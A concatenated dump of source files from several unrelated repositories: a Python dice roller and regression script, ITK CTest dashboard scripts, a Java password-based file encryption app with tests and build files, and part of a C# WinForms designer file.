mainFrame = tkinter.Frame(
width=5,
height=5,
)
mainFrame.pack() #Greeting at top of windown
greeting = tkinter.Label(mainFrame, text="Dice Roller!")
greeting.pack(side=TOP)
var = tkinter.StringVar() #variable that sets the text of dice
# Buttons that represent each set of dice you can roll
button20 = tkinter.Button(
mainFrame,
text="D20",
width=5,
height=1,
command=lambda: diceRoller(20)
)
button100 = tkinter.Button(
mainFrame,
text="D100",
width=5,
height=1,
command=lambda: diceRoller(100)
)
button10 = tkinter.Button(
mainFrame,
text="D10",
width=5,
height=1,
command=lambda: diceRoller(10)
)
button8 = tkinter.Button(
mainFrame,
text="D8",
width=5,
height=1,
command=lambda: diceRoller(8)
)
button6 = tkinter.Button(
mainFrame,
text="D6",
width=5,
height=1,
command=lambda: diceRoller(6)
)
button4 = tkinter.Button(
mainFrame,
text="D4",
width=5,
height=1,
command=lambda: diceRoller(4)
)
#function that takes the size of the dice, generates a random number
#and spits it back out to be read as a string
def diceRoller(size):
print("clicked on", size)
result = str(guts(size))
print(result)
message = ""
if result == "1":
print(1)
message += "Bad Luck! \n"
message += "You rolled a: \n"
message += result
var.set(message)
#adding buttons to top frame
button20.pack()
button100.pack()
button10.pack()
button8.pack()
button6.pack()
button4.pack()
#adding bottom frame where rolled numerical value will be shown
bottomFrame = tkinter.Frame()
bottomFrame.pack()
#arbitrary value when dice roller is started
label = tkinter.Message(bottomFrame, textvariable=var)
var.set("Pick a die to roll!")
label.pack(side=BOTTOM)
window.mainloop()
main()
<file_sep>/README.md
# Python-Dice-Roller
| e78cb9bd64b4e174dd1683cb57189f0507eec7c8 | [
"Markdown",
"Python"
] | 3 | Python | cmhansen125/Python-Dice-Roller | ae47c7c1a047f55392b0cdc89769e2edcd6f2472 | 034bd8f61344bbd7153f17430648d41b8ba59ea9 | |
refs/heads/master | <file_sep>### Simple script that creates nonlinear regression model, made in around 1h to help my friend at college.
### Function that I found, which fits given data set, was f(x)= a*(x-b)**2 + c
### so the point was to optimize parameters a, b, c.
<file_sep>"""
Simple script that creates nonlinear regression model,
made in around 1h to help my friend at college.
Function that I found, which fits given data set, was f(x)= a*(x-b)**2 + c
so the point was to find the best values for parameters a, b, c.
"""
from random import shuffle
import matplotlib.pyplot as plt
import numpy as np
from sklearn.linear_model import LinearRegression
from scipy.optimize import curve_fit
from scipy.optimize import differential_evolution
import warnings
alldata = []
datax = []
datay = []
with open('dane9.txt', 'r') as file:
for line in file:
rowdata = line.split(" ")
alldata.append([float(rowdata[0]), float(rowdata[1])])
shuffle(alldata)
splitindex = round(len(alldata)*0.7)
trainset = alldata[:splitindex]
testset = alldata[splitindex:]
trainx, trainy = zip(*trainset)
testx, testy = zip(*testset)
plt.scatter(trainx, trainy)
plt.scatter(testx, testy, c='red')
# plt.savefig('alldata.png')
plt.show()
x = np.array(trainx).reshape((-1, 1))
y = np.array(trainy)
model = LinearRegression().fit(x, y)
r_sq = model.score(x, y)
print('coefficient of determination:', r_sq)
b0 = model.intercept_
b1 = model.coef_
xtest = np.array(testx).reshape((-1, 1))
predy = model.predict(xtest)
rsum = 0
for test_y, pred_y in zip(testy, predy):
rsum += (test_y - pred_y)**2
plt.scatter(testx, testy, c='black')
plt.scatter(testx, list(predy), c='green')
plt.show()
#plt.savefig('linearpredict.png')
print('Sumofsquarederror of predicted data based on testing set with linear function: ', rsum)
def functionadv(xvals, bottomlimit, startval, stretch):
yvals = []
for x in xvals:
yvals.append(stretch*(x-startval)**2 + bottomlimit)
return yvals
def generateparameters(x_vals, y_vals):
plot = False
if plot:
plt.scatter(x_vals, y_vals)
plt.show()
def sumOfSquaredError(parameterTuple):
warnings.filterwarnings("ignore") # do not print warnings by genetic algorithm
val = functionadv(x_vals, *parameterTuple)
sum = 0
for i in range(len(x_vals)):
sum += (y_vals[i] - val[i]) ** 2
return sum
def generate_Initial_Parameters():
# min and max used for bounds
maxX = max(x_vals)
minX = min(x_vals)
maxY = max(y_vals)
minY = min(y_vals)
parameterBounds = []
parameterBounds.append([0, 2]) # seach bounds for bottomlimit
parameterBounds.append([1.2, 2.5]) # seach bounds for startval
parameterBounds.append([1, 2]) # seach bounds for stretch
# "seed" the numpy random number generator for repeatable results
result = differential_evolution(sumOfSquaredError, parameterBounds, seed=3)
return result.x
# generate initial parameter values
geneticParameters = generate_Initial_Parameters()
# curve fit the test data
fittedParameters, pcov = curve_fit(functionadv, x_vals, y_vals, geneticParameters)
return fittedParameters
fittedparams = generateparameters(trainx, trainy)
predictedvals = functionadv(testx, *fittedparams)
plt.scatter(testx, testy, c='black')
plt.scatter(testx, predictedvals, c='green')
plt.show()
# plt.savefig('squarepredict.png')
rsum = 0
for test_y, pred_y in zip(testy, predictedvals):
rsum += (test_y - pred_y)**2
print('Sumofsquarederror of predicted data based on testing set with ^2 function: ', rsum)
| 1af7fbffc6dfcf5bdde790f48bca0a4f8e49bbdd | [
"Markdown",
"Python"
] | 2 | Markdown | mzakonek/nonlinear_regression | dccf41036852f46f7109f2243f03b86b8b69f10f | 84fa0268c9137e1eb6bd1f3af5defe23fc9906e3 | |
refs/heads/master | <repo_name>ComplexSystemsModeling/DashboardScripts<file_sep>/CoSMo-Singapore-Durian-ITK-i386-Wrapping.cmake
# maintainer: <NAME> <<EMAIL>>
# gcc (GCC) 4.2
set( arch i386 ) # ppc;i386;ppc64;x86_64
set( CTEST_SITE "Durian.CoSMo.sg" )
set( CTEST_BUILD_NAME "Darwin-c++-4.2-${arch}-WRAPITK" )
set( CTEST_BUILD_CONFIGURATION "Release" )
set( CTEST_CMAKE_GENERATOR "Unix Makefiles" )
set( CTEST_BUILD_FLAGS -j2 )
set( CTEST_TEST_ARGS PARALLEL_LEVEL 2 )
set( dashboard_root_name "Dashboards" )
set( dashboard_binary_name ITK-${arch}-WRAPITK )
set(ENV{CC} gcc)
set(ENV{CXX} g++)
macro(dashboard_hook_init)
set( dashboard_cache "
CMAKE_OSX_ARCHITECTURES:STRING=${arch}
BUILD_TESTING:BOOL=ON
BUILD_EXAMPLES:BOOL=ON
BUILD_SHARED_LIBS:BOOL=ON
ITK_LEGACY_SILENT:BOOL=ON
ITK_USE_REVIEW:BOOL=ON
ITK_WRAP_JAVA:BOOL=ON
ITK_WRAP_PYTHON:BOOL=ON
ITK_USE_CCACHE:BOOL=ON
ITK_USE_SYSTEM_SWIG:BOOL=ON
ITK_USE_SYSTEM_GCCXML:BOOL=ON
GCCXML:FILEPATH=/Users/CoSMoTest-Mac/src/gccxml/build-${arch}/bin/gccxml
"
)
if("${dashboard_model}" STREQUAL "Nightly")
message("Making sure to use the nightly-master branch")
execute_process(
COMMAND "${CTEST_GIT_COMMAND}" checkout nightly-master
WORKING_DIRECTORY "${CTEST_SOURCE_DIRECTORY}"
)
endif()
endmacro(dashboard_hook_init)
include(${CTEST_SCRIPT_DIRECTORY}/ITKScripts/itk_common.cmake)
<file_sep>/CoSMo-Singapore-Durian-ITK-runtests.sh
#!/bin/bash -x
# whatever
source /Users/CoSMoTest-Mac/.profile
export PATH=/usr/local/git/bin:$PATH
date >> dates.txt
# goes to the script location
cd ~/DEVEL/GITROOT/DashboardScripts/
#update scripts
git pull > git.log
#run scripts
ctest -S CoSMo-Singapore-Durian-ITK-i386-Wrapping.cmake -V > i386-Wrapping.log
ctest -S CoSMo-Singapore-Durian-ITK-x86_64-Wrapping.cmake -V > x86_64-Wrapping.log
ctest -S CoSMo-Singapore-Durian-ITK-ppc-Wrapping.cmake -V > ppc-Wrapping.log
#update crontab for the day after is needed
crontab CoSMo-Singapore-Durian.crontab
<file_sep>/CoSMo-Singapore-ChickenRice-ITK-runtests.sh
#!/bin/bash -x
# goes to the script location
cd ~/DEVEL/GITROOT/DashboardScripts/
# whatever
export PATH=/usr/local/git/bin:$PATH
date >> dates.txt
#update scripts
git pull > git.log
#run scripts
ctest -S CoSMo-Singapore-ChickenRice-ITK-i386-Wrapping.cmake -V > i386-Wrapping.log
ctest -S CoSMo-Singapore-ChickenRice-ITK-x86_64-Wrapping.cmake -V > x86_64-Wrapping.log
#ctest -S CoSMo-Singapore-ChickenRice-ITK-ppc-Wrapping.cmake -V > ppc-Wrapping.log
#update crontab for the day after is needed
crontab CoSMo-Singapore-ChickenRice.crontab
<file_sep>/SIgN-Karoshi2-runtests.sh
#!/bin/sh
export PATH=/usr/local/git/bin:/opt/local/bin:$PATH
# Move into the directory that contains the scripts
cd /Users/alexgouaillard/DEVEL/GITROOT/DashboardScripts
# Update the scripts
git pull >& git.log
# Run the scripts
ctest -S SIgN-Karoshi2-ppc-nightly.cmake -V >& SIgN-Karoshi2-ppc-nightly.log
ctest -S SIgN-Karoshi2-i386-nightly.cmake -V >& SIgN-Karoshi2-i386-nightly.log
ctest -S SIgN-Karoshi2-x86_64-nightly.cmake -V >& SIgN-Karoshi2-x86_64-nightly.log
ctest -S SIgN-Karoshi2-x86_64-GDCM-PROPER-nightly.cmake -V >& SIgN-Karoshi2-x86_64-GDCM-PROPER-nightly.log
ctest -S SIgN-Karoshi2-i386-GDCM-PROPER-nightly.cmake -V >& SIgN-Karoshi2-i386-GDCM-PROPER-nightly.log
ctest -S SIgN-Karoshi2-x86_64-GDCM-FORK-nightly.cmake -V >& SIgN-Karoshi2-x86_64-GDCM-FORK-nightly.log
ctest -S SIgN-Karoshi2-i386-GDCM-FORK-nightly.cmake -V >& SIgN-Karoshi2-i386-GDCM-FORK-nightly.log
# Update the crontab for next day
crontab SIgN-Karoshi2.crontab
<file_sep>/SIgN-Karoshi-runtests.sh
#!/bin/sh
# Move into the directory that contains the scripts
cd /Users/alexgouaillard/DEVEL/GITROOT/DashboardScripts
# Update the scripts
git pull >& git.log
# Run the scripts
ctest -S SIgN-Karoshi2-ppc-nightly.cmake -V >& SIgN-Karoshi2-ppc-nightly.log
ctest -S SIgN-Karoshi2-i386-nightly.cmake -V >& SIgN-Karoshi2-i386-nightly.log
ctest -S SIgN-Karoshi2-x86_64-nightly.cmake -V >& SIgN-Karoshi2-x86_64-nightly.log
ctest -S SIgN-Karoshi2-x86_64-GDCM_PROPER-nightly.cmake -V >& SIgN-Karoshi2-x86_64-GDCM-PROPER-nightly.log
ctest -S SIgN-Karoshi2-i386-GDCM_PROPER-nightly.cmake -V >& SIgN-Karoshi2-i386-GDCM-PROPER-nightly.log
ctest -S SIgN-Karoshi2-x86_64-GDCM_FORK-nightly.cmake -V >& SIgN-Karoshi2-x86_64-GDCM-FORK-nightly.log
ctest -S SIgN-Karoshi2-i386-GDCM_FORK-nightly.cmake -V >& SIgN-Karoshi2-i386-GDCM-FORK-nightly.log
# Update the crontab for next day
crontab SIgN-Karoshi2.crontab
| 318b16f28fedf09287ab47f7c7f3167196f1ce3b | [
"CMake",
"Shell"
] | 5 | CMake | ComplexSystemsModeling/DashboardScripts | 1e2f013888da139433b44ce22834f6df26cea419 | 90ed71575b4d3b0d505abb11778287ad8d78fe70 | |
refs/heads/master | <file_sep>import org.junit.Test;
import sec.AESHelper;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static sec.CipherHelper.getPasswordKey;
public class TestAES {
public static final String AES_TRANS = "AES/CBC/PKCS5Padding";
public static final String AES_ALGO = "AES";
public static final byte[] AES_SALT = new byte[]{-70, 93, -16, 40, -72, -27, -109, -78};
public static final int AES_ITERATIONS = 704272;
public static final int AES_KEY_LENGTH = 128;
@Test
public void testGetKeyvalidinput() throws Exception {
char[] pass = {'n', 'i', 'k', 'h', 'i', 't', 'a'};
final SecretKey key = getPasswordKey( pass, AES_SALT, AES_ITERATIONS, AES_KEY_LENGTH );
SecretKey expectedKey = new SecretKeySpec( key.getEncoded(), AES_ALGO );
AESHelper aeshelper = new AESHelper();
assertEquals( expectedKey, aeshelper.getKey( pass ) );
assertNotNull( aeshelper.getKey( pass ) );
}
@Test
public void testgetEncryptcipher()throws Exception {
Cipher cipher = Cipher.getInstance(AES_TRANS);
// creating a fake output stream
String output_File = "C:/Users/nivesh/TestFile.txt";
FileOutputStream fos = new FileOutputStream(output_File);
//creating a new secret key
String str = "nikhita";
char[] charArray = str.toCharArray();
AESHelper mockAeshelper = new AESHelper();
SecretKey key = mockAeshelper.getKey(charArray);
System.out.println(mockAeshelper.getEncryptCipher(fos,key));
assertNotNull(mockAeshelper.getEncryptCipher(fos,key));
}
@Test
public void testgetDecryptcipher()throws Exception{
//creating a fake input stream
String Input_File = "C:/Users/nivesh/TestFile.txt";
FileInputStream fis = new FileInputStream(Input_File);
//creating a secret key
String str = "nikhita";
char[] charArray = str.toCharArray();
AESHelper mockAeshelper = new AESHelper();
SecretKey key = mockAeshelper.getKey(charArray);
System.out.println( mockAeshelper.getDecryptCipher(fis,key));
assertNotNull( mockAeshelper.getDecryptCipher(fis,key) );
}
}<file_sep>package sec;
import java.io.*;
import java.security.SecureRandom;
import javax.crypto.*;
import javax.crypto.spec.PBEKeySpec;
public abstract class CipherHelper {
public static final SecureRandom RANDOM = new SecureRandom();
public static final byte AES_MAGIC = 0;
public static final byte DES_MAGIC = 1;
public static final byte BF_MAGIC = 2;
public static final DESHelper DES = new DESHelper();
public static final AESHelper AES = new AESHelper();
public static final BlowfishHelper BF = new BlowfishHelper();
public static final int PAD = 23;
public static CipherHelper getHelper (byte magic) {
switch (magic) {
case AES_MAGIC:
return AES;
case DES_MAGIC:
return DES;
case BF_MAGIC:
return BF;
default:
throw new RuntimeException("unknown magic " + magic);
}
}
public static SecretKey getPasswordKey (char[] pass, byte[] salt, int iterations, int length) throws Exception {
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
PBEKeySpec keySpec = new PBEKeySpec(pass, salt, iterations, length);
long t = System.nanoTime();
SecretKey key = factory.generateSecret(keySpec);
t = System.nanoTime() - t;
System.out.println("password key iteration time " + (t / 1000000000.0));
return key;
}
public static void pad (final OutputStream os) throws IOException {
byte[] a = new byte[PAD];
CipherHelper.RANDOM.nextBytes(a);
for (int n = 0; n < a.length; n++) {
os.write(a[n]);
}
}
public static void unpad (final InputStream is) throws IOException {
for (int n = 0; n < PAD; n++) {
is.read();
}
}
public abstract byte getMagic ();
public abstract SecretKey getKey (char[] pass) throws Exception;
public abstract Cipher getEncryptCipher (OutputStream os, SecretKey key) throws Exception;
public abstract Cipher getDecryptCipher (InputStream is, SecretKey key) throws Exception;
}
<file_sep>package sec;
import java.io.File;
import javax.swing.filechooser.FileFilter;
class SecretFileFilter extends FileFilter {
public final String description;
public final CipherHelper helper;
public SecretFileFilter (CipherHelper helper, String description) {
this.helper = helper;
this.description = description;
}
@Override
public String getDescription () {
return description;
}
@Override
public boolean accept (File f) {
return f.isDirectory() || f.getName().toLowerCase().endsWith(".sec");
}
}<file_sep><?xml version="1.0" encoding="UTF-8"?>
<project default="jar">
<property name="jarfile" value="secrets.jar" />
<target name="jar">
<jar destfile="dist/${jarfile}">
<manifest>
<attribute name="Main-Class" value="sec.SecretsJFrame" />
</manifest>
<fileset dir="bin" />
<!-- run mvn dependency:copy-dependencies first... -->
<zipgroupfileset dir="target/dependency" includes="**/*.jar" />
</jar>
</target>
<target name="deploy" depends="jar">
<copy file="dist/${jarfile}" tofile="${user.home}/Dropbox/Public/${jarfile}" />
</target>
</project>
<file_sep>package sec;
import java.io.*;
import java.util.Properties;
public class Secret {
public static final byte TEXT_TYPE = 0;
public static final byte RTF_TYPE = 1;
public static final byte FILE_TYPE = 2;
public static final byte KEY_INDEX = 0;
public static final byte VALUE_INDEX = 1;
public static final byte TYPE_INDEX = 2;
public static final byte PROPERTIES_INDEX = 3;
public static final byte INDEXES = 4;
public String name;
public byte[] type;
public byte[] value;
public byte[] properties;
public boolean modified;
public Secret (String name) {
this(name, null, null);
}
public Secret (String name, byte[] type, byte[] value) {
this.name = name;
this.type = type;
this.value = value;
}
public Properties getProperties() {
Properties p = new Properties();
if (properties != null && properties.length > 0) {
try (ByteArrayInputStream bis = new ByteArrayInputStream(properties)) {
p.load(bis);
} catch (Exception e) {
e.printStackTrace();
}
}
return p;
}
public void setProperties(Properties p) {
if (p != null && p.size() > 0) {
try (ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
p.store(bos, null);
properties = bos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
} else {
properties = null;
}
}
@Override
public String toString () {
return name + (modified ? "*": "");
}
}
<file_sep>apply plugin: 'java'
apply plugin: 'maven'
group = 'com.github.alexyz'
version = '0.0.1-SNAPSHOT'
description = """secret"""
sourceCompatibility = 1.7
targetCompatibility = 1.7
task runjar(dependsOn:jar) << {
javaexec {
main="-jar"; args "./lib/secrets.jar"
}
}
task execute(type:JavaExec) {
main = "sec.SecretsJFrame"
classpath = sourceSets.main.runtimeClasspath
}
sourceSets {
main {
java {
srcDir 'src'
}
}
test {
java {
srcDir 'tests'
}
}
}
repositories {
maven { url "http://repo.maven.apache.org/maven2" }
}
dependencies {
compile group: 'org.apache.commons', name: 'commons-lang3', version:'LATEST'
compile group: 'commons-io', name: 'commons-io', version:'2.2'
compile group: 'junit', name: 'junit', version:'4.11'
compile group: 'org.apache.maven.surefire', name: 'maven-surefire-common', version:'2.18.1'
}
<file_sep>
SECRETS PROJECT
#INTRODUCTION:
The ‘secret’ is a maven configuration open source project cloned form the Git repository. This secret application can be used to create new text files of type AES-128 and save them with a password which keeps your information as a secret.
#PRE-REQUISITES:
IntelliJ IDEA, java SE, GIT, Gradle , SBT, Scala.
About My Project:
#INTELLIJ IDEA SETUP AND PROJECT BUILD:
I downloaded java SE from oracle site and created JAVA_HOME, JDK HOME, and I setup the path in environmental variables.
Then i downloaded IntelliJ idea 2017.2.3 community edition and installed it in my PC.
I cloned an open source project and created a new project in my intelliJ IDEA.I added some jar files like org.apache.commons: commons-lang3:3.6, commons-io: commons-io: 2.5 to resolve the issues with dependencies.
I imported plug-in required to run the project and verified that all the lifecycle options in my maven project are built successfully.
Then I built the project using build artifact option which creates a jar.
#JUNIT TESTS:
To create Junit tests for my project, I downloaded Junit jars and added that path as Junit_Home to the environmental variables.
I tried to understand the whole project structure of my project and wrote junit tests using assert statements to test if my project is correct and created a folder named tests which contains all my tests. I ran all the tests that I have created and they ran successfully.
#GRADLE SCRIPT:
I installed Gradle 2.8 in my PC and set its GRADLE_HOME path in environmental variables.
To build the project Gradle imported plug-in and libraries required.
Then I started writing the gradle script in build.gradle file after understanding the pom.xml file and build.xml file in my maven project.
I created a lib folder in the project and added my secrets.jar file to it.
I wrote a task called task runjar in my build.gradle script which runs the jar in my lib folder.
I wrote a task called task execute which will execute my project by accessing my main class.
#Commands used to access gradle:
‘gradle build’ to build the project.
‘gradle runjar’ to run the jar file that I defined in the build.gradle script.
‘gradle execute’ to run the project using main class that I defined in build.gradle script.
‘gradle test’ to test the Junit tests in the project.
#SBT SCRIPT:
I installed sbt and scala in my pc, set their paths in environmental variables.
Then i imported my project as a sbt project.
Then it generated a build.sbt file in my project.
I wrote the sbt script adding all the dependencies and wrote a task to access my main class.
Then i built and ran it.
#Commands used to access Sbt:
‘sbt compile’ to compile the project.
‘sbt run’ to run the project.
‘sbt test’ to build the tests.
#JAVA MONITORING TOOLS:
I used jconsole, visualvm, and java mission control tools to monitor the project.
#JCONSOLE:
The jconsole executable can be found in java - > jdk -> bin folder.
Then to check if it is in my system i used ‘jconsole’ command.
To access a particular application that is running, we need to know the PID (process id). To know it, i opened my task manager and searched for IJ idea PID and gave a command ‘jconsole pid’.
Then it opened and I checked all the options that it provides.
Below are the snapshots of the various tasks that it performs.
#VISUAL VM:
The visualvm executable can be found in java - > jdk -> bin folder.
You can use ‘jvisualvm’ command and access it.
In the menu panel i selected the application that I want to monitor that is Idea and observed these results which I have attached in the below snapshots
#Java Mission Control:
I started the jmc executable from the JDK bin directory.
Under JVM Browser on the left pane, I have selected the MBean Server.
Once loaded, it will show a cool dashboard of the JVM CPU/memory usage. I have attached a snapshot of the same.
<file_sep>rootProject.name = 'secret'
<file_sep>package sec;
import java.security.SecureRandom;
import java.util.Arrays;
public class salt {
public static void main (String[] args) {
SecureRandom r = new SecureRandom();
byte[] s = new byte[8];
r.nextBytes(s);
System.out.println(Arrays.toString(s));
System.out.println(500000 + r.nextInt(500000));
}
}
| 4768be4da9fa27ee63d677d1ac66a4341630fa6b | [
"Markdown",
"Java",
"Ant Build System",
"Gradle"
] | 9 | Java | nsnikhita/Intellij_setup_Gradle_SBT_Junit_Of_Existing_Open_Source_Project | 8ab7245d000cd05848aa2d773b2a9573dea8b17b | 622c353234dce3ad888366af1fcfc3b03e4f218a | |
refs/heads/master | <repo_name>ktodorova23/shoppinglist<file_sep>/src/main/java/com/shoppinglist/shoppinglist/service/implementations/ProductServiceImpl.java
package com.shoppinglist.shoppinglist.service.implementations;
import com.shoppinglist.shoppinglist.model.entities.Product;
import com.shoppinglist.shoppinglist.model.entities.enums.CategoryName;
import com.shoppinglist.shoppinglist.model.service.ProductServiceModel;
import com.shoppinglist.shoppinglist.model.view.ProductViewModel;
import com.shoppinglist.shoppinglist.repository.ProductRepository;
import com.shoppinglist.shoppinglist.service.CategoryService;
import com.shoppinglist.shoppinglist.service.ProductService;
import org.modelmapper.ModelMapper;
import org.springframework.stereotype.Service;
import java.math.BigDecimal;
import java.util.List;
import java.util.stream.Collectors;
@Service
public class ProductServiceImpl implements ProductService {
private final ProductRepository productRepository;
private final CategoryService categoryService;
private final ModelMapper modelMapper;
public ProductServiceImpl(ProductRepository productRepository, CategoryService categoryService, ModelMapper modelMapper) {
this.productRepository = productRepository;
this.categoryService = categoryService;
this.modelMapper = modelMapper;
}
@Override
public void add(ProductServiceModel productServiceModel) {
Product product = modelMapper.map(productServiceModel, Product.class);
product.setCategory(categoryService.findByName(productServiceModel.getCategory()));
productRepository.save(product);
}
@Override
public BigDecimal getTotalSum() {
BigDecimal totalProductsSum = productRepository
.findTotalProductsSum();
if (totalProductsSum == null) {
totalProductsSum = BigDecimal.ZERO;
}
return totalProductsSum;
}
@Override
public List<ProductViewModel> findAllProductsByCategoryName(CategoryName categoryName) {
return productRepository.findAllByCategory_Name(categoryName)
.stream().map(product -> modelMapper.map(product, ProductViewModel.class))
.collect(Collectors.toList());
}
@Override
public void buyById(String id) {
productRepository.deleteById(id);
}
@Override
public void buyAll() {
productRepository.deleteAll();
}
}
<file_sep>/src/main/java/com/shoppinglist/shoppinglist/repository/CategoryRepository.java
package com.shoppinglist.shoppinglist.repository;
import com.shoppinglist.shoppinglist.model.entities.Category;
import com.shoppinglist.shoppinglist.model.entities.enums.CategoryName;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;
import java.util.Optional;
@Repository
public interface CategoryRepository extends JpaRepository<Category, String> {
Optional<Category> findByName(CategoryName name);
}
| 570394c6d8dcec0fdb83bc0f4bb379693ffe9595 | [
"Java"
] | 2 | Java | ktodorova23/shoppinglist | 47840ece93f5771d1e12251ed94654a0a0d0958f | 7eb68d26bdc3dee46aab2e317ce8c69e2f60fa56 | |
refs/heads/master | <file_sep>namespace Hnc.Calorimeter.Client
{
partial class FormOpenAllParam
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormOpenAllParam));
this.paramGrid = new DevExpress.XtraGrid.GridControl();
this.paramGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.pgUserNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.pgDateTimeColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.pgMemoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.okButton = new System.Windows.Forms.Button();
this.cancelButton = new System.Windows.Forms.Button();
this.schDeleteButton = new System.Windows.Forms.Button();
this.bgPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.paramGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.paramGridView)).BeginInit();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.Controls.Add(this.schDeleteButton);
this.bgPanel.Controls.Add(this.okButton);
this.bgPanel.Controls.Add(this.cancelButton);
this.bgPanel.Controls.Add(this.paramGrid);
this.bgPanel.Size = new System.Drawing.Size(412, 407);
//
// paramGrid
//
this.paramGrid.Location = new System.Drawing.Point(12, 12);
this.paramGrid.MainView = this.paramGridView;
this.paramGrid.Name = "paramGrid";
this.paramGrid.Size = new System.Drawing.Size(386, 348);
this.paramGrid.TabIndex = 0;
this.paramGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.paramGridView});
this.paramGrid.DoubleClick += new System.EventHandler(this.paramGrid_DoubleClick);
//
// paramGridView
//
this.paramGridView.ActiveFilterEnabled = false;
this.paramGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.paramGridView.Appearance.FixedLine.Options.UseFont = true;
this.paramGridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.paramGridView.Appearance.FocusedCell.Options.UseFont = true;
this.paramGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.paramGridView.Appearance.FocusedRow.Options.UseFont = true;
this.paramGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.paramGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.paramGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.paramGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.paramGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.paramGridView.Appearance.OddRow.Options.UseFont = true;
this.paramGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.paramGridView.Appearance.Preview.Options.UseFont = true;
this.paramGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.paramGridView.Appearance.Row.Options.UseFont = true;
this.paramGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.paramGridView.Appearance.SelectedRow.Options.UseFont = true;
this.paramGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.paramGridView.Appearance.ViewCaption.Options.UseFont = true;
this.paramGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.pgUserNameColumn,
this.pgDateTimeColumn,
this.pgMemoColumn});
this.paramGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.paramGridView.GridControl = this.paramGrid;
this.paramGridView.HorzScrollVisibility = DevExpress.XtraGrid.Views.Base.ScrollVisibility.Never;
this.paramGridView.Name = "paramGridView";
this.paramGridView.OptionsBehavior.Editable = false;
this.paramGridView.OptionsBehavior.ReadOnly = true;
this.paramGridView.OptionsFilter.AllowAutoFilterConditionChange = DevExpress.Utils.DefaultBoolean.False;
this.paramGridView.OptionsFilter.AllowFilterEditor = false;
this.paramGridView.OptionsView.ColumnAutoWidth = false;
this.paramGridView.OptionsView.ShowGroupPanel = false;
this.paramGridView.OptionsView.ShowIndicator = false;
this.paramGridView.Tag = 1;
this.paramGridView.FocusedRowChanged += new DevExpress.XtraGrid.Views.Base.FocusedRowChangedEventHandler(this.paramGridView_FocusedRowChanged);
//
// pgUserNameColumn
//
this.pgUserNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pgUserNameColumn.AppearanceCell.Options.UseFont = true;
this.pgUserNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.pgUserNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.pgUserNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pgUserNameColumn.AppearanceHeader.Options.UseFont = true;
this.pgUserNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.pgUserNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.pgUserNameColumn.Caption = "User Name";
this.pgUserNameColumn.FieldName = "USERNAME";
this.pgUserNameColumn.Name = "pgUserNameColumn";
this.pgUserNameColumn.OptionsColumn.AllowEdit = false;
this.pgUserNameColumn.OptionsColumn.AllowFocus = false;
this.pgUserNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pgUserNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pgUserNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pgUserNameColumn.OptionsColumn.AllowMove = false;
this.pgUserNameColumn.OptionsColumn.AllowShowHide = false;
this.pgUserNameColumn.OptionsColumn.AllowSize = false;
this.pgUserNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pgUserNameColumn.OptionsColumn.FixedWidth = true;
this.pgUserNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pgUserNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
